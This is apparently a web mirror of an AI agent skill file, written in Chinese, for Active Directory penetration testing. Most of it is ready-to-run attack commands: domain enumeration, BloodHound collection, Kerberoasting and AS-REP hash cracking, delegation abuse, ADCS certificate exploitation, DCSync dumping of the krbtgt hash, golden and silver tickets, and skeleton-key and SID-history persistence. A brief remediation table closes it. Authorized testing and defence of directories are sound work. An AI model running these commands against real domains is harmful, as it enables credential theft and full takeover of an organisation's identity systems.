Die Oberfläche ist lokalisiert; Skill-Beschreibungen und -Dokumente werden per KI automatisch in Ihre Sprache übersetzt. Code, Befehle, Pfade und Fachbegriffe bleiben im Original, maßgeblich ist das Dokument des Autors.
Skills entdecken
Entwicklung · SKILL.md

performing-active-directory-penetration-test

performing-active-directory-penetration-test

执行针对性的 Active Directory 渗透测试,涵盖域对象枚举、使用 BloodHound 发现攻击路径、利用 Kerberos 弱点、通过 ADCS/DCSync 提升权限,并演示域沦陷全过程。

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill-Dokumentation

GitHub

name: performing-active-directory-penetration-test description: 执行针对性的 Active Directory 渗透测试,涵盖域对象枚举、使用 BloodHound 发现攻击路径、利用 Kerberos 弱点、通过 ADCS/DCSync 提升权限,并演示域沦陷全过程。 domain: cybersecurity subdomain: penetration-testing tags: [active-directory, BloodHound, Kerberoasting, Impacket, DCSync, ADCS, domain-compromise, privilege-escalation] version: "1.0" author: mahipal license: Apache-2.0

执行 Active Directory 渗透测试

概述

Active Directory(AD)渗透测试针对超过 95% 的财富 500 强企业使用的核心身份与访问管理系统。测试识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板,以及能让攻击者从普通域用户提升至域管理员(Domain Admin)或企业管理员(Enterprise Admin)的攻击路径。

前置条件

  • 标准域用户凭据(最低起点)
  • 对域控制器的网络访问(LDAP/389、Kerberos/88、SMB/445、DNS/53)
  • 工具:BloodHound、Impacket、Certipy、Rubeus、NetExec、Mimikatz
  • 已加入域的 Kali Linux 或 Windows 攻击机

阶段一:AD 枚举

域信息收集

# 基本域枚举
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users

# LDAP 枚举 — 域控制器
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName

# 枚举信任关系
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts

# 枚举域密码策略
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol

# 枚举组策略对象(GPO)
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords

# 查找启用非约束委派的计算机
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
  dNSHostName

# 查找配置约束委派的用户
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
  sAMAccountName msds-allowedtodelegateto

# 枚举 LAPS(本地管理员密码解决方案)
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps

BloodHound 攻击路径分析

# 收集所有 BloodHound 数据
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
  -ns 10.0.0.5 -c all --zip

# 备用方案:在 Windows 上使用 SharpHound
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip

# 启动 BloodHound
sudo neo4j start
bloodhound --no-sandbox

# BloodHound 中常用的 Cypher 查询:
# - 到域管理员的最短路径
# - 查找可 Kerberoast 的用户
# - 查找可 AS-REP Roast 的用户
# - 查找拥有 DCSync 权限的用户
# - 从已控制主体查找最短路径
# - 查找域用户是本地管理员的计算机

服务账户发现

# 查找拥有 SPN 的服务账户(可 Kerberoast)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5

# 查找未启用 Kerberos 预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
  -dc-ip 10.0.0.5 -format hashcat

# 查找托管服务账户(gMSA)
ldapsearch -x -H ldap://10.0.0.5 -D "testuser@corp.local" -w "Password123" \
  -b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
  sAMAccountName msDS-GroupMSAMembership

阶段二:Kerberos 攻击

Kerberoasting

# 提取服务账户的 TGS 票据
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
  -outputfile kerberoast.txt -request

# 使用 Hashcat 破解(模式 13100 对应 Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule --force

# 使用 Rubeus 进行定向 Kerberoasting(Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt

AS-REP Roasting

# 针对未启用预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
  -outputfile asrep.txt -format hashcat

# 破解 AS-REP 哈希(模式 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberos 委派攻击

# 非约束委派 — 从内存提取 TGT
# 若已控制配置非约束委派的主机:
.\Rubeus.exe monitor /interval:5 /nowrap
# 使用 PrinterBug/SpoolSample 强制 DC 进行认证
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>

# 约束委派 — S4U 滥用
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
  -dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@fileserver.corp.local' -k -no-pass

# 基于资源的约束委派(RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL#x27; \
  -computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET#x27; -delegate-from 'EVIL#x27; \
  -dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
  -impersonate administrator -dc-ip 10.0.0.5

阶段三:ADCS(Active Directory 证书服务)攻击

# 使用 Certipy 枚举 ADCS
certipy find -u 'testuser@corp.local' -p 'Password123' -dc-ip 10.0.0.5 \
  -vulnerable -stdout

# ESC1 — 存在漏洞的证书模板(注册者可指定 SAN)
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template VulnerableWebServer -upn administrator@corp.local

# 使用证书进行认证
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5

# ESC4 — 模板 ACL 错误配置
# 修改模板以启用 ESC1 条件,然后按上述方式利用

# ESC6 — CA 上的 EDITF_ATTRIBUTESUBJECTALTNAME2 标志
certipy req -u 'testuser@corp.local' -p 'Password123' \
  -target ca.corp.local -ca CORP-CA \
  -template User -upn administrator@corp.local

# ESC8 — NTLM 中继至 HTTP 注册端点
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
  -template DomainController

阶段四:域权限提升

DCSync 攻击

# DCSync — 提取所有域哈希(需要复制权限)
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' -just-dc

# DCSync 特定用户
impacket-secretsdump 'corp.local/domainadmin:DAPass@10.0.0.5' \
  -just-dc-user krbtgt

# 使用 Mimikatz(Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt

黄金票据(Golden Ticket)

# 创建黄金票据(需要 krbtgt 哈希和域 SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/administrator@dc01.corp.local' -k -no-pass

# 使用 Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:<hash> /ptt

白银票据(Silver Ticket)

# 为特定服务创建白银票据
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
  -domain corp.local -spn MSSQL/sqlserver.corp.local administrator

export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/administrator@sqlserver.corp.local' -k -no-pass

阶段五:持久化演示

# 骨架密钥(Skeleton Key)(注入 LSASS — 仅限授权测试)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# 此后任何用户均可使用 "mimikatz" 作为密码进行认证

# AdminSDHolder 持久化
# 将受控用户添加到 AdminSDHolder ACL
# SDProp 进程每 60 分钟将 ACL 传播到所有受保护组

# SID 历史注入
# 将域管理员 SID 注入低权限用户的 SID 历史记录

# 记录所有持久化机制并在测试后清理

发现与修复建议

发现项CVSS修复建议
密码较弱的可 Kerberoast 账户7.5使用 gMSA,对服务账户强制使用 25 位以上字符密码
服务器上的非约束委派8.1移除非约束委派,改用约束委派或 RBCD
存在漏洞的 ADCS 模板(ESC1-ESC8)9.8审计模板、移除危险权限、要求审批流程
非 DA 账户的 DCSync 权限9.8审计复制权限,实施分层管理员模型
已启用 LLMNR/NBT-NS8.1通过 GPO 禁用
未部署 LAPS7.2部署 Windows LAPS 管理本地管理员密码
域密码策略较弱6.5强制使用 14 位以上字符,实施细粒度密码策略

参考资料

Gespeicherte Skills